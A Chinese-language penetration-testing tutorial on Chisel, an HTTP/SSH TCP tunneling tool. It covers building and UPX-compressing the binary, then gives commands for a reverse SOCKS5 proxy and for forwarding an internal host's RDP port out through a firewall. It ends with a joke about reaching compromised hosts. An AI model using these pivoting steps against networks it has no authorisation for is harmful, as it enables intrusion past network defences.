目录

前言

最近在项目中遇到目标在内网的情况,使用 Chisel 打通了一个通向内网的隧道,工欲善其事,必先利其器,因此决定把这个工具分享给大家

什么是 Chisel

Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang).

https://github.com/jpillora/chisel

以上是 chisel 官方 GitHub repo 里的解释

用一句话描述就是:Chisel 是一款Go语言编写开源的通信加密的用于绕过防火墙使用 HTTP? 协议进行传输的快速 TCP 隧道工具

特点:

  • 使用方便
  • 高性能
  • 使用SSH协议的加密连接(通过crypto/ssh)
  • 支持身份验证
  • 客户端自动重新连接
  • 客户端可以通过一个 TCP 连接创建多个隧道
  • 客户端可以创建 HTTP CONNECT 代理
  • 服务端可选择兼作反向代理
  • 服务端可选择创建 SOCKS5 代理
  • 支持反向端口转发

为什么选择 Chisel

Lcx 算是国内老牌的端口转发工具了,使用很稳但有个不足之处,比如用 lcx 把内网 Windows 的 RDP 端口转发出来,RDP 连接一次断开后就不能继续使用了,必须得重新进行端口转发

EarthWorm&Termite 功能确实强大,文件体积很小只有几十KB,但是这个工具闭源,对免费但是闭源的程序没有好感,因为滥用该工具已经被杀软查杀

作者也停止开发了

还发现一个工具叫 frp ,功能特别多,但是运行需要配置文件,不太适合用来渗透测试中的网络穿透。

类似的工具还有很多,大家可以根据自己的需求自由选择

选来选去发现 Chisel 还是比较不错

安装 Chisel

Chisel 使用 Go 语言编写,因此支持几乎所有操作系统,可从 GitHub 直接下载针对各个操作系统的可执行文件,但体积比较大,下载下来的 MacOS 系统下的可执行文件就达到 8M 的大小,因此我选择从源码编译,自定义配置个体积小一点的

首先准备 Go 运行环境,各个操作系统的安装方法见官网:https://golang.org/doc/install

以下操作在 MacOS 系统下进行

下载前需要设置 GOPATH

从 github 下载 chisel

go get -v github.com/jpillora/chisel

编译

go build github.com/jpillora/chisel

会在当前目录下生成叫 Chisel 的可执行文件, 我们看看大小

▶ go build github.com/jpillora/chisel

▶ du -sh chisel
 11M	chisel

11 M,太大了,在编译的时候可通过去掉符号表(-s)和重定位信息(-w)减小文件内容

▶ go build -ldflags "-s -w" github.com/jpillora/chisel

~/MyTools/Pivot
▶ du -sh chisel
8.8M	chisel

现在是 8M 了,还是有点大,在加个 UPX 壳试试

▶ upx -9 chisel
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2018
UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser   Aug 26th 2018

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   9258820 ->   3399696   36.72%   macho/amd64   chisel

Packed 1 file.

▶ du -sh chisel
4.0M	chisel

现在变成 4M 了,比起其他工具还是有点大,但是从 11M 压缩到4M也是不错了,go 编译出来的可执行文件体积很大是因为 go 编译时默认使用了静态编译,不依赖任何动态链接库,这样可以任意部署到各种运行环境,不用担心依赖问题

使用以下命令在 MacOS 上编译 Windows 版本

▶ env GOOS=windows GOARCH=amd64 go build -o chisel-x64.exe -ldflags "-s -w" github.com/jpillora/chisel

▶ file chisel-x64.exe
chisel-x64.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

在用 UPX 压缩一下

▶ du -sh chisel-x64.exe
8.0M	chisel-x64.exe

▶ upx chisel-x64.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2018
UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser   Aug 26th 2018

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   8342528 ->   3173376   38.04%    win64/pe     chisel-x64.exe

Packed 1 file.

▶ du -sh chisel-x64.exe
3.0M	chisel-x64.exe

如果需要编译其他操作系统下的可执行文件, 在 go build 编译时设置 GOOSGOARCH 为对应的值即可,具体的值见此GitHub Gist

使用 Chisel 反弹 Socks5 代理

进行渗透测试时遇到目标在内网或者被防火墙阻挡时,可以使用 Chisel 从目标网络反弹一个 socks5 代理

Chisel 反弹 Socks5 代理的原理大致如下图

具体操作步骤如下:

在有公网IP的主机中执行

chisel server -p 1111 --reverse  

以上命令会监听本地(0.0.0.0) 的 1111 端口并允许远端指定转发的端口

chisel client 0.0.0.0:2222 socks 

以上命令会在本地 127.0.0.1的 1080 端口启动 socks5 服务并将请求转发到本地的 2222 端口

在需要访问的目标网络的主机中或者处于LAN环境的主机中执行

chisel client WANIP:1111 R:2222:127.0.0.1:3333 

以上命令会在 WANIP 的 1111 端口打开一个隧道,并在此隧道中将 WANIP 的 2222 端口映射到本地的 3333 端口

chisel server -p 3333 --socks5 

以上命令在本地 3333 端口启动 Socks5 服务

此时公网主机 1080 端口的 Socks5 代理通过 1111 端口的隧道通向了对方网络

有条件的同学可以去看 Ippsec 的视频演示

使用 Chisel 进行端口映射

Chisel 可以实现 lcx 同样的功能,具体步骤如下:

公网主机上启动 Chisel server:

chisel server -p 1337 --reverse

内网主机上启动 Chisel client:

chisel client WANIP:1337 R:1234:LANIP:3389  

WANIP 是公网主机的公网 IP,LANIP 是内网主机的内网 IP

如果 server1 上启动 Chisel 的 client 模式,且 LANIP 为 server1 的 IP 时,server1 的 3389 端口映射到了公网主机的 1234 端口

如果 server1 上运行 Chisel 的 client 模式,但 LANIP 为 server2 的 IP 时,通过 server1 把 server2 的 3389 端口映射到了公网主机的 1234 端口

从第二种用法可以看出 Chisel 的端口转发功能比 lcx 更强大

掌握以上的端口转发技能以后,麻麻再也不用担心我因为防火墙或者内外网的限制无法访问我香喷喷的肉鸡了!

参考链接